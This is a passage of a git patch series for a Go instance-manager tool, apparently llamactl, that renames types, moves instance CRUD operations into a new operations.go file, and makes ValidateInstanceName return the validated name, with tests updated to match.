inst *instance.Process) { defer wg.Done() fmt.Printf("Stopping instance %s...\n", name) // Attempt to stop the instance gracefully @@ -400,7 +400,7 @@ func (im *instanceManager) loadInstance(name, path string) error { return fmt.Errorf("failed to read instance file: %w", err) } - var persistedInstance instance.Instance + var persistedInstance instance.Process if err := json.Unmarshal(data, &persistedInstance); err != nil { return fmt.Errorf("failed to unmarshal instance: %w", err) } @@ -433,7 +433,7 @@ func (im *instanceManager) loadInstance(name, path string) error { // autoStartInstances starts instances that were running when persisted and have auto-restart enabled func (im *instanceManager) autoStartInstances() { im.mu.RLock() - var instancesToStart []*instance.Instance + var instancesToStart []*instance.Process for _, inst := range im.instances { if inst.Running && // Was running when persisted inst.GetOptions() != nil && diff --git a/pkg/manager/manager_test.go b/pkg/manager/manager_test.go index f31e11b..c2f953c 100644 --- a/pkg/manager/manager_test.go +++ b/pkg/manager/manager_test.go @@ -687,7 +687,7 @@ func TestPersistence_InstancesLoadedFromDisk(t *testing.T) { } // Check instances by name - instancesByName := make(map[string]*instance.Instance) + instancesByName := make(map[string]*instance.Process) for _, inst := range instances { instancesByName[inst.Name] = inst } diff --git a/pkg/server/handlers.go b/pkg/server/handlers.go index e0cc4da..9eeb2a2 100644 --- a/pkg/server/handlers.go +++ b/pkg/server/handlers.go @@ -18,10 +18,10 @@ import ( type Handler struct { InstanceManager manager.InstanceManager - cfg config.Config + cfg config.AppConfig } -func NewHandler(im manager.InstanceManager, cfg config.Config) *Handler { +func NewHandler(im manager.InstanceManager, cfg config.AppConfig) *Handler { return &Handler{ InstanceManager: im, cfg: cfg, From 934d1c5aaaeff03334bc55f93b3f4c096b5d451c Mon Sep 17 00:00:00 2001 From: LordMathis Date: Mon, 4 Aug 2025 20:38:57 +0200 Subject: [PATCH 3/4] Refactor instance management by moving operations to a new file --- pkg/manager/manager.go | 233 ------------------------------------ pkg/manager/operations.go | 241 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 241 insertions(+), 233 deletions(-) create mode 100644 pkg/manager/operations.go diff --git a/pkg/manager/manager.go b/pkg/manager/manager.go index bf7645f..43b1fea 100644 --- a/pkg/manager/manager.go +++ b/pkg/manager/manager.go @@ -5,7 +5,6 @@ import ( "fmt" "llamactl/pkg/config" "llamactl/pkg/instance" - "llamactl/pkg/validation" "log" "os" "path/filepath" @@ -49,238 +48,6 @@ func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager return im } -// ListInstances returns a list of all instances managed by the instance manager. -func (im *instanceManager) ListInstances() ([]*instance.Process, error) { - im.mu.RLock() - defer im.mu.RUnlock() - - instances := make([]*instance.Process, 0, len(im.instances)) - for _, inst := range im.instances { - instances = append(instances, inst) - } - return instances, nil -} - -// CreateInstance creates a new instance with the given options and returns it. -// The instance is initially in a "stopped" state. -func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) { - if options == nil { - return nil, fmt.Errorf("instance options cannot be nil") - } - - if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 { - return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances) - } - - err := validation.ValidateInstanceName(name) - if err != nil { - return nil, err - } - - err = validation.ValidateInstanceOptions(options) - if err != nil { - return nil, err - } - - im.mu.Lock() - defer im.mu.Unlock() - - // Check if instance with this name already exists - if im.instances[name] != nil { - return nil, fmt.Errorf("instance with name %s already exists", name) - } - - // Assign a port if not specified - if options.Port == 0 { - port, err := im.getNextAvailablePort() - if err != nil { - return nil, fmt.Errorf("failed to get next available port: %w", err) - } - options.Port = port - } else { - // Validate the specified port - if _, exists := im.ports[options.Port]; exists { - return nil, fmt.Errorf("port %d is already in use", options.Port) - } - im.ports[options.Port] = true - } - - inst := instance.NewInstance(name, &im.instancesConfig, options) - im.instances[inst.Name] = inst - im.ports[options.Port] = true - - if err := im.persistInstance(inst); err != nil { - return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) - } - - return inst, nil -} - -// GetInstance retrieves an instance by its name. -func (im *instanceManager) GetInstance(name string) (*instance.Process, error) { - im.mu.RLock() - defer im.mu.RUnlock() - - instance, exists := im.instances[name] - if !exists { - return nil, fmt.Errorf("instance with name %s not found", name) - } - return instance, nil -} - -// UpdateInstance updates the options of an existing instance and returns it. -// If the instance is running, it will be restarted to apply the new options. -func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) { - im.mu.RLock() - instance, exists := im.instances[name] - im.mu.RUnlock() - - if !exists { - return nil, fmt.Errorf("instance with name %s not found", name) - } - - if options == nil { - return nil, fmt.Errorf("instance options cannot be nil") - } - - err := validation.ValidateInstanceOptions(options) - if err != nil { - return nil, err - } - - // Check if instance is running before updating options - wasRunning := instance.Running - - // If the instance is running, stop it first - if wasRunning { - if err := instance.Stop(); err != nil { - return nil, fmt.Errorf("failed to stop instance %s for update: %w", name, err) - } - } - - // Now update the options while the instance is stopped - instance.SetOptions(options) - - // If it was running before, start it again with the new options - if wasRunning { - if err := instance.Start(); err != nil { - return nil, fmt.Errorf("failed to start instance %s after update: %w", name, err) - } - } - - im.mu.Lock() - defer im.mu.Unlock() - if err := im.persistInstance(instance); err != nil { - return nil, fmt.Errorf("failed to persist updated instance %s: %w", name, err) - } - - return instance, nil -} - -// DeleteInstance removes stopped instance by its name. -func (im *instanceManager) DeleteInstance(name string) error { - im.mu.Lock() - defer im.mu.Unlock() - - instance, exists := im.instances[name] - if !exists { - return fmt.Errorf("instance with name %s not found", name) - } - - if instance.Running { - return fmt.Errorf("instance with name %s is still running, stop it before deleting", name) - } - - delete(im.ports, instance.GetOptions().Port) - delete(im.instances, name) - - // Delete the instance's config file if persistence is enabled - instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json") - if err := os.Remove(instancePath); err != nil && !os.IsNotExist(err) { - return fmt.Errorf("failed to delete config file for instance %s: %w", instance.Name, err) - } - - return nil -} - -// StartInstance starts a stopped instance and returns it. -// If the instance is already running, it returns an error. -func (im *instanceManager) StartInstance(name string) (*instance.Process, error) { - im.mu.RLock() - instance, exists := im.instances[name] - im.mu.RUnlock() - - if !exists { - return nil, fmt.Errorf("instance with name %s not found", name) - } - if instance.Running { - return instance, fmt.Errorf("instance with name %s is already running", name) - } - - if err := instance.Start(); err != nil { - return nil, fmt.Errorf("failed to start instance %s: %w", name, err) - } - - im.mu.Lock() - defer im.mu.Unlock() - err := im.persistInstance(instance) - if err != nil { - return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) - } - - return instance, nil -} - -// StopInstance stops a running instance and returns it. -func (im *instanceManager) StopInstance(name string) (*instance.Process, error) { - im.mu.RLock() - instance, exists := im.instances[name] - im.mu.RUnlock() - - if !exists { - return nil, fmt.Errorf("instance with name %s not found", name) - } - if !instance.Running { - return instance, fmt.Errorf("instance with name %s is already stopped", name) - } - - if err := instance.Stop(); err != nil { - return nil, fmt.Errorf("failed to stop instance %s: %w", name, err) - } - - im.mu.Lock() - defer im.mu.Unlock() - err := im.persistInstance(instance) - if err != nil { - return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) - } - - return instance, nil -} - -// RestartInstance stops and then starts an instance, returning the updated instance. -func (im *instanceManager) RestartInstance(name string) (*instance.Process, error) { - instance, err := im.StopInstance(name) - if err != nil { - return nil, err - } - return im.StartInstance(instance.Name) -} - -// GetInstanceLogs retrieves the logs for a specific instance by its name. -func (im *instanceManager) GetInstanceLogs(name string) (string, error) { - im.mu.RLock() - _, exists := im.instances[name] - im.mu.RUnlock() - - if !exists { - return "", fmt.Errorf("instance with name %s not found", name) - } - - // TODO: Implement actual log retrieval logic - return fmt.Sprintf("Logs for instance %s", name), nil -} - func (im *instanceManager) getNextAvailablePort() (int, error) { portRange := im.instancesConfig.PortRange diff --git a/pkg/manager/operations.go b/pkg/manager/operations.go new file mode 100644 index 0000000..68f8f58 --- /dev/null +++ b/pkg/manager/operations.go @@ -0,0 +1,241 @@ +package manager + +import ( + "fmt" + "llamactl/pkg/instance" + "llamactl/pkg/validation" + "os" + "path/filepath" +) + +// ListInstances returns a list of all instances managed by the instance manager. +func (im *instanceManager) ListInstances() ([]*instance.Process, error) { + im.mu.RLock() + defer im.mu.RUnlock() + + instances := make([]*instance.Process, 0, len(im.instances)) + for _, inst := range im.instances { + instances = append(instances, inst) + } + return instances, nil +} + +// CreateInstance creates a new instance with the given options and returns it. +// The instance is initially in a "stopped" state. +func (im *instanceManager) CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) { + if options == nil { + return nil, fmt.Errorf("instance options cannot be nil") + } + + if len(im.instances) >= im.instancesConfig.MaxInstances && im.instancesConfig.MaxInstances != -1 { + return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances) + } + + err := validation.ValidateInstanceName(name) + if err != nil { + return nil, err + } + + err = validation.ValidateInstanceOptions(options) + if err != nil { + return nil, err + } + + im.mu.Lock() + defer im.mu.Unlock() + + // Check if instance with this name already exists + if im.instances[name] != nil { + return nil, fmt.Errorf("instance with name %s already exists", name) + } + + // Assign a port if not specified + if options.Port == 0 { + port, err := im.getNextAvailablePort() + if err != nil { + return nil, fmt.Errorf("failed to get next available port: %w", err) + } + options.Port = port + } else { + // Validate the specified port + if _, exists := im.ports[options.Port]; exists { + return nil, fmt.Errorf("port %d is already in use", options.Port) + } + im.ports[options.Port] = true + } + + inst := instance.NewInstance(name, &im.instancesConfig, options) + im.instances[inst.Name] = inst + im.ports[options.Port] = true + + if err := im.persistInstance(inst); err != nil { + return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) + } + + return inst, nil +} + +// GetInstance retrieves an instance by its name. +func (im *instanceManager) GetInstance(name string) (*instance.Process, error) { + im.mu.RLock() + defer im.mu.RUnlock() + + instance, exists := im.instances[name] + if !exists { + return nil, fmt.Errorf("instance with name %s not found", name) + } + return instance, nil +} + +// UpdateInstance updates the options of an existing instance and returns it. +// If the instance is running, it will be restarted to apply the new options. +func (im *instanceManager) UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error) { + im.mu.RLock() + instance, exists := im.instances[name] + im.mu.RUnlock() + + if !exists { + return nil, fmt.Errorf("instance with name %s not found", name) + } + + if options == nil { + return nil, fmt.Errorf("instance options cannot be nil") + } + + err := validation.ValidateInstanceOptions(options) + if err != nil { + return nil, err + } + + // Check if instance is running before updating options + wasRunning := instance.Running + + // If the instance is running, stop it first + if wasRunning { + if err := instance.Stop(); err != nil { + return nil, fmt.Errorf("failed to stop instance %s for update: %w", name, err) + } + } + + // Now update the options while the instance is stopped + instance.SetOptions(options) + + // If it was running before, start it again with the new options + if wasRunning { + if err := instance.Start(); err != nil { + return nil, fmt.Errorf("failed to start instance %s after update: %w", name, err) + } + } + + im.mu.Lock() + defer im.mu.Unlock() + if err := im.persistInstance(instance); err != nil { + return nil, fmt.Errorf("failed to persist updated instance %s: %w", name, err) + } + + return instance, nil +} + +// DeleteInstance removes stopped instance by its name. +func (im *instanceManager) DeleteInstance(name string) error { + im.mu.Lock() + defer im.mu.Unlock() + + instance, exists := im.instances[name] + if !exists { + return fmt.Errorf("instance with name %s not found", name) + } + + if instance.Running { + return fmt.Errorf("instance with name %s is still running, stop it before deleting", name) + } + + delete(im.ports, instance.GetOptions().Port) + delete(im.instances, name) + + // Delete the instance's config file if persistence is enabled + instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json") + if err := os.Remove(instancePath); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("failed to delete config file for instance %s: %w", instance.Name, err) + } + + return nil +} + +// StartInstance starts a stopped instance and returns it. +// If the instance is already running, it returns an error. +func (im *instanceManager) StartInstance(name string) (*instance.Process, error) { + im.mu.RLock() + instance, exists := im.instances[name] + im.mu.RUnlock() + + if !exists { + return nil, fmt.Errorf("instance with name %s not found", name) + } + if instance.Running { + return instance, fmt.Errorf("instance with name %s is already running", name) + } + + if err := instance.Start(); err != nil { + return nil, fmt.Errorf("failed to start instance %s: %w", name, err) + } + + im.mu.Lock() + defer im.mu.Unlock() + err := im.persistInstance(instance) + if err != nil { + return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) + } + + return instance, nil +} + +// StopInstance stops a running instance and returns it. +func (im *instanceManager) StopInstance(name string) (*instance.Process, error) { + im.mu.RLock() + instance, exists := im.instances[name] + im.mu.RUnlock() + + if !exists { + return nil, fmt.Errorf("instance with name %s not found", name) + } + if !instance.Running { + return instance, fmt.Errorf("instance with name %s is already stopped", name) + } + + if err := instance.Stop(); err != nil { + return nil, fmt.Errorf("failed to stop instance %s: %w", name, err) + } + + im.mu.Lock() + defer im.mu.Unlock() + err := im.persistInstance(instance) + if err != nil { + return nil, fmt.Errorf("failed to persist instance %s: %w", name, err) + } + + return instance, nil +} + +// RestartInstance stops and then starts an instance, returning the updated instance. +func (im *instanceManager) RestartInstance(name string) (*instance.Process, error) { + instance, err := im.StopInstance(name) + if err != nil { + return nil, err + } + return im.StartInstance(instance.Name) +} + +// GetInstanceLogs retrieves the logs for a specific instance by its name. +func (im *instanceManager) GetInstanceLogs(name string) (string, error) { + im.mu.RLock() + _, exists := im.instances[name] + im.mu.RUnlock() + + if !exists { + return "", fmt.Errorf("instance with name %s not found", name) + } + + // TODO: Implement actual log retrieval logic + return fmt.Sprintf("Logs for instance %s", name), nil +} From 85b3638efbd88d59a675b44cd8fa5bc07cd021d8 Mon Sep 17 00:00:00 2001 From: LordMathis Date: Mon, 4 Aug 2025 20:46:15 +0200 Subject: [PATCH 4/4] Update ValidateInstanceName to return the validated name and modify tests accordingly --- pkg/manager/operations.go | 2 +- pkg/validation/validation.go | 10 +++++----- pkg/validation/validation_test.go | 9 ++++++++- 3 files changed, 14 insertions(+), 7 deletions(-) diff --git a/pkg/manager/operations.go b/pkg/manager/operations.go index 68f8f58..baa4eb7 100644 --- a/pkg/manager/operations.go +++ b/pkg/manager/operations.go @@ -31,7 +31,7 @@ func (im *instanceManager) CreateInstance(name string, options *instance.CreateI return nil, fmt.Errorf("maximum number of instances (%d) reached", im.instancesConfig.MaxInstances) } - err := validation.ValidateInstanceName(name) + name, err := validation.ValidateInstanceName(name) if err != nil { return nil, err } diff --git a/pkg/validation/validation.go b/pkg/validation/validation.go index 2b06b37..9145cf6 100644 --- a/pkg/validation/validation.go +++ b/pkg/validation/validation.go @@ -102,16 +102,16 @@ func validateStructStrings(v any, fieldPath string) error { return nil } -func ValidateInstanceName(name string) error { +func ValidateInstanceName(name string) (string, error) { // Validate instance name if name == "" { - return ValidationError(fmt.Errorf("name cannot be empty")) + return "", ValidationError(fmt.Errorf("name cannot be empty")) } if !validNamePattern.MatchString(name) { - return ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)")) + return "", ValidationError(fmt.Errorf("name contains invalid characters (only alphanumeric, hyphens, underscores allowed)")) } if len(name) > 50 { - return ValidationError(fmt.Errorf("name too long (max 50 characters)")) + return "", ValidationError(fmt.Errorf("name too long (max 50 characters)")) } - return nil + return name, nil } diff --git a/pkg/validation/validation_test.go b/pkg/validation/validation_test.go index 53e52b9..3e12606 100644 --- a/pkg/validation/validation_test.go +++ b/pkg/validation/validation_test.go @@ -41,10 +41,17 @@ func TestValidateInstanceName(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - err := validation.ValidateInstanceName(tt.input) + name, err := validation.ValidateInstanceName(tt.input) if (err != nil) != tt.wantErr { t.Errorf("ValidateInstanceName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr) } + if tt.wantErr { + return // Skip further checks if we expect an error + } + // If no error, check that the name is returned as expected + if name != tt.input { + t.Errorf("ValidateInstanceName(%q) = %q, want %q", tt.input, name, tt.input) + } }) } }